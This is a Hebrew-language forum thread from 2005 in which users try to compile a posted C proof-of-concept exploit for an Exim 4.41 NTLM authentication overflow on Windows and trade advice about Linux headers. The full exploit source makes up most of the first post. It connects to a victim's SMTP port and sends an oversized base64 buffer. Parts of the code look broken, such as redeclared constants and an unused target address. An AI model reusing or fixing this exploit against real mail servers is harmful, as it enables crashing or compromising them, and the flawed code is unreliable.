נושאים פעיליםנושאים פעילים  הצגת רשימה של חברי הפורוםרשימת משתמשים  חיפוש בפורוםחיפוש  עזרהעזרה
  הרשמההרשמה  התחברותהתחברות RSS עדכונים
תיכנות
RSS UnderWarrior Forums : RSS תיכנות
נושא

נושא: לא מתקמפל לי

שליחת תגובהשליחת נושא חדש
כותב
הודעה << נושא קודם | נושא הבא >>
ore4444
משתמש פעיל
משתמש פעיל
סמל אישי

הצטרף / הצטרפה: 15 March 2005
מדינה: Israel
משתמש: מנותק/ת
הודעות: 94
נשלח בתאריך: 06 April 2005 בשעה 13:59 | IP רשוּם
ציטוט ore4444

יש לי את הקובץ הבא לקמפל

קוד:

/*
 * Remote PoC code for vulnerability discovered by iDEFENSE in Exim 4.41 by pi3 (pi3ki31ny).
 *
 * http://pi3.int.pl
 *
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <sys/wait.h>

static const char base64digits[] =
    "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456 789+/";

#define BAD    -1
#define SA struct sockaddr

static const char base64val[] = {
  BAD, BAD, BAD, BAD, BAD, BAD, BAD, BAD, BAD, BAD, BAD, BAD, BAD, BAD, BAD,
    BAD,
  BAD, BAD, BAD, BAD, BAD, BAD, BAD, BAD, BAD, BAD, BAD, BAD, BAD, BAD, BAD,
    BAD,
  BAD, BAD, BAD, BAD, BAD, BAD, BAD, BAD, BAD, BAD, BAD, 62, BAD, BAD, BAD,
    63,
  52, 53, 54, 55, 56, 57, 58, 59, 60, 61, BAD, BAD, BAD, BAD, BAD, BAD,
  BAD, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14,
  15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, BAD, BAD, BAD, BAD, BAD,
  BAD, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40,
  41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, BAD, BAD, BAD, BAD, BAD
};
#define DECODE64(c)  (isascii(c) ? base64val[c] : BAD)

void
spa_bits_to_base64 (unsigned char *out, const unsigned char *in, int inlen)
/* raw bytes in quasi-big-endian order to base 64 string (NUL-terminated) */
{
  for (; inlen >= 3; inlen -= 3)
    {
      *out++ = base64digits[in[0] >> 2];
      *out++ = base64digits[((in[0] << 4) & 0x30) | (in[1] >> 4)];
      *out++ = base64digits[((in[1] << 2) & 0x3c) | (in[2] >> 6)];
      *out++ = base64digits[in[2] & 0x3f];
      in += 3;
    }
  if (inlen > 0)
    {
      unsigned char fragment;

      *out++ = base64digits[in[0] >> 2];
      fragment = (in[0] << 4) & 0x30;
      if (inlen > 1)
       fragment |= in[1] >> 4;
      *out++ = base64digits[fragment];
      *out++ = (inlen < 2) ? '=' : base64digits[(in[1] << 2) & 0x3c];
      *out++ = '=';
    }
  *out = '\0';
}

void check(char *b,char *a) {
  
   char *tmp=NULL;
  
   if ( (tmp=strstr(b,a))==NULL) {
      printf("Error! Not NTLM login found in respone!\n");
      exit(-1);
   }
}

void wyjdz(char *arg) {
  
   printf("\n\n\t...::: -=[ Remote PoC exploit for Exim by pi3 (pi3ki31ny) ]=- :::...\n");
   printf("\n\t\tUssage:\n\t\t\t%s <victim>\n\n\n",arg);
   exit(-1);
}

int main(int argc, char *argv[]) {

   int INADDR_ANY;
   int AF_INET;
   int sockfd,i=0;
   long inet;
   char buf[5000],tmp_buf[9096];
   struct sockaddr_in servaddr;
   struct hostent *h;
  
   (argv[1]==NULL) ? (wyjdz(argv[0])):1;
  
   printf("\n\n\t...::: -=[ Remote PoC exploit for Exim by pi3 (pi3ki31ny) ]=- :::...\n");
  
   if ( (h=gethostbyname((char*)argv[1])) == NULL) {
      printf("Gethostbyname() field!\n");
      exit(-1);
   }
   memcpy (&inet, h->h_addr, 4);
  
   servaddr.sin_family      = AF_INET;
   servaddr.sin_port        = htons(25);
   servaddr.sin_addr.s_addr = htonl(INADDR_ANY);
  
   if ( (sockfd=socket(AF_INET,SOCK_STREAM,0)) <0 ) {
      printf("Socket() error!\n");
      exit(-1);
   }
  
   if ( (connect(sockfd,(SA*)&servaddr,sizeof(servaddr)) ) <0 ) {
      printf("Connect() error!\n");
      exit(-1);
   }
   bzero(tmp_buf,sizeof(tmp_buf));
   if ( (i=read(sockfd,tmp_buf,sizeof(tmp_buf))) == 0) {
      printf("I can\'t read from source host...\nExiting...\n\n");
      exit(-1);
   }
   printf("\n\t[*] Connected to: %s\n",argv[1]);
   write(sockfd,"EHLO p\n",7);
   bzero(tmp_buf,sizeof(tmp_buf));
   if ( (i=read(sockfd,tmp_buf,sizeof(tmp_buf))) == 0) {
      printf("I can\'t read from source host...\nExiting...\n\n");
      exit(-1);
   }
   check(tmp_buf,"NTLM");
   write(sockfd,"AUTH NTLM\n",10);
   bzero(tmp_buf,sizeof(tmp_buf));
   if ( (i=read(sockfd,tmp_buf,sizeof(tmp_buf))) == 0) {
      printf("I can\'t read from source host...\nExiting...\n\n");
      exit(-1);
   }
   check(tmp_buf,"334");
  
   printf("\t[*] OK! Athorization NTLM support...\n");
   for(i=0;i<4040;i++)
     spa_bits_to_base64(&buf,"A",1);
   write(sockfd,buf,strlen(buf));
   write(sockfd,"\n",1);
   printf("\t[*] Evil buffer sended!\n\n\n");
   bzero(tmp_buf,sizeof(tmp_buf));
   if ( (i=read(sockfd,tmp_buf,sizeof(tmp_buf))) == 0)
     printf("\t[*] Server is vulnerability!\n\n\n");
   else
     printf("\t[*] Server isn\'t vulnerability ;(\n\n\n");
   return 0;
}

ויש לי בקטע הזה בעיית קימפול:

קוד:

int main(int argc, char *argv[]) {

   int INADDR_ANY;
   int AF_INET;
   int sockfd,i=0;
   long inet;
   char buf[5000],tmp_buf[9096];
   struct sockaddr_in servaddr;
   struct hostent *h;

הבעייה היא storage size of 'servaddr' isn't known
זה גודל של סטרקט?
למה צריך להגדיר אותו, ואיך?

חזרה לתחילת העמוד הצג את כרטיס החבר של ore4444 חפש הודעות אחרות של ore4444
 
feint
משתמש פעיל
משתמש פעיל
סמל אישי

הצטרף / הצטרפה: 01 March 2005
משתמש: מנותק/ת
הודעות: 53
נשלח בתאריך: 06 April 2005 בשעה 14:49 | IP רשוּם
ציטוט feint

לא היה ני ממש כוח לקרוא הכל מהתחלה.... אבל ההגדרה של ה servaddr נראת תקינה...
הכנסת גם את ההגדרות האלה:

servaddr.sin_family = AF_INET;   
servaddr.sin_addr.s_addr = htonl( INADDR_ANY );   
servaddr.sin_port = htons( PORT );

?



__________________
-feint
חזרה לתחילת העמוד הצג את כרטיס החבר של feint חפש הודעות אחרות של feint
 
ShadowBeast
אחראי פורומים
אחראי פורומים
סמל אישי

הצטרף / הצטרפה: 22 January 2005
מדינה: Israel
משתמש: מנותק/ת
הודעות: 1073
נשלח בתאריך: 06 April 2005 בשעה 16:01 | IP רשוּם
ציטוט ShadowBeast

איך אנחנו אמורים להגדיר את זה?
(אני והוא עובדים על זה ביחד)
חזרה לתחילת העמוד הצג את כרטיס החבר של ShadowBeast חפש הודעות אחרות של ShadowBeast
 
Alias
משתמש חבר
משתמש חבר
סמל אישי

הצטרף / הצטרפה: 13 January 2005
משתמש: מנותק/ת
הודעות: 344
נשלח בתאריך: 06 April 2005 בשעה 18:23 | IP רשוּם
ציטוט Alias

לפי מה שאני רואה כבר הגדירו את זה:
servaddr.sin_family      = AF_INET;
   servaddr.sin_port    & nbsp;   = htons(25);
   servaddr.sin_addr.s_addr = htonl(INADDR_ANY);
ניסיתם לקמפל את זה בסביבת לינוקס או ווינדוס? לפי ההאדרים אפשר לראות שאהקספלויט בנויי לסביבת לינוקס...
חזרה לתחילת העמוד הצג את כרטיס החבר של Alias חפש הודעות אחרות של Alias בקר בדף הבית של Alias
 
ShadowBeast
אחראי פורומים
אחראי פורומים
סמל אישי

הצטרף / הצטרפה: 22 January 2005
מדינה: Israel
משתמש: מנותק/ת
הודעות: 1073
נשלח בתאריך: 06 April 2005 בשעה 22:43 | IP רשוּם
ציטוט ShadowBeast

windows
שמוסב ללינוקס...(המצאה שלנו, נפרסם את זה פה - אני מבטיח, זה פשוט עדיין לא מושלםרק גרסת אלפא)
חזרה לתחילת העמוד הצג את כרטיס החבר של ShadowBeast חפש הודעות אחרות של ShadowBeast
 
Nameless
אחראי פורומים
אחראי פורומים


הצטרף / הצטרפה: 08 March 2005
מדינה: Armenia
משתמש: מנותק/ת
הודעות: 69
נשלח בתאריך: 06 April 2005 בשעה 22:52 | IP רשוּם
ציטוט Nameless

אתה מתכוון קומפיילר שיכול לקמפל בחלונות קוד מקור ללינוקס?

זה נראה בסדר לעשות את זה כי אתה פשוט יכול להעתיק את קבצי ה H לתיקיית include של הקומפיילר שלך, אבל כשנכנסים יותר לעומק זה יכול לגרום בעיות.
אולי זה אפשרי, אבל לא נראה לי שזה אמין.
יכולת להוריד איזה לינוקס שנכנס על דיסק ולא צריכים להתקין ולהוריד גם gcc (יכול להיות שיש בדיסק כבר את זה, ואם אין אז יש מהדרים אחרים - בדוק בקנופיקס - Knoppix)

חזרה לתחילת העמוד הצג את כרטיס החבר של Nameless חפש הודעות אחרות של Nameless
 
ShadowBeast
אחראי פורומים
אחראי פורומים
סמל אישי

הצטרף / הצטרפה: 22 January 2005
מדינה: Israel
משתמש: מנותק/ת
הודעות: 1073
נשלח בתאריך: 06 April 2005 בשעה 23:00 | IP רשוּם
ציטוט ShadowBeast

מה זאת אומרת נכנסים יותר לעומק?
חזרה לתחילת העמוד הצג את כרטיס החבר של ShadowBeast חפש הודעות אחרות של ShadowBeast
 
Nameless
אחראי פורומים
אחראי פורומים


הצטרף / הצטרפה: 08 March 2005
מדינה: Armenia
משתמש: מנותק/ת
הודעות: 69
נשלח בתאריך: 06 April 2005 בשעה 23:05 | IP רשוּם
ציטוט Nameless

קבצי H מסוימים משתמשים בקבצי H אחרים.
ויכול להיות (אבל אני אומר את זה רק מחוסר נסיון וידע בתכנות ללינוקס) שיש משהו בחלק מההאדרים שצריך משהו מסוים שיש רק בלינוקס.
תשאל מתכנתי לינוקס, כי אני לא מבין בזה, אבל לדעתי צריך להזהר עם זה.
חזרה לתחילת העמוד הצג את כרטיס החבר של Nameless חפש הודעות אחרות של Nameless
 
ShadowBeast
אחראי פורומים
אחראי פורומים
סמל אישי

הצטרף / הצטרפה: 22 January 2005
מדינה: Israel
משתמש: מנותק/ת
הודעות: 1073
נשלח בתאריך: 06 April 2005 בשעה 23:08 | IP רשוּם
ציטוט ShadowBeast

כן אני חושב שראיתי משהו, שצריך איזשהם קרנלים...
אל תדאג גם את זה אנחנו פותרים עם עריכת ההאדרים
מוסיפים להם את כל ה
#define
זה מסדר את זה

חזרה לתחילת העמוד הצג את כרטיס החבר של ShadowBeast חפש הודעות אחרות של ShadowBeast
 
Alias
משתמש חבר
משתמש חבר
סמל אישי

הצטרף / הצטרפה: 13 January 2005
משתמש: מנותק/ת
הודעות: 344
נשלח בתאריך: 07 April 2005 בשעה 00:59 | IP רשוּם
ציטוט Alias

מה שאתה עושה זה רק מוסיף לתוכנית את הקבועים...
אבל מה עם פונקציות? רוב הפעמים כשעושים INCLUDE לקובץ מסוים זה כדי להשתמש בפונקציות שלו...
ואם אין את אותו האדר ואתה מנסה להשתמש בפונקציה שמוגדרת בהאדר, זה כאילו לא קיימת הפונקציה בכלל.
חזרה לתחילת העמוד הצג את כרטיס החבר של Alias חפש הודעות אחרות של Alias בקר בדף הבית של Alias
 
ShadowBeast
אחראי פורומים
אחראי פורומים
סמל אישי

הצטרף / הצטרפה: 22 January 2005
מדינה: Israel
משתמש: מנותק/ת
הודעות: 1073
נשלח בתאריך: 07 April 2005 בשעה 13:51 | IP רשוּם
ציטוט ShadowBeast

בגלל זה מביאים את ההאדרים...
חזרה לתחילת העמוד הצג את כרטיס החבר של ShadowBeast חפש הודעות אחרות של ShadowBeast
 

אם ברצונך להגיב לנושא זה עליך קודם להתחבר
אם אינך רשום/ה כבר עליך להרשם

  שליחת תגובהשליחת נושא חדש
גרסת הדפסה גרסת הדפסה

קפיצה לפורום
אינך יכול/ה לשלוח נושאים חדשים בפורום זה
אינך יכול/ה להגיב לנושאים בפורום זה
אינך יכול/ה למחוק את הודעותיך ותגוביך בפורום זה
אינך יכול/ה לערוך את הודעותיך ותגובותיך בפורום זה
אינך יכול/ה לצור סקרים בפורום זה
אינך יכול/ה להצביע בסקרים בפורום זה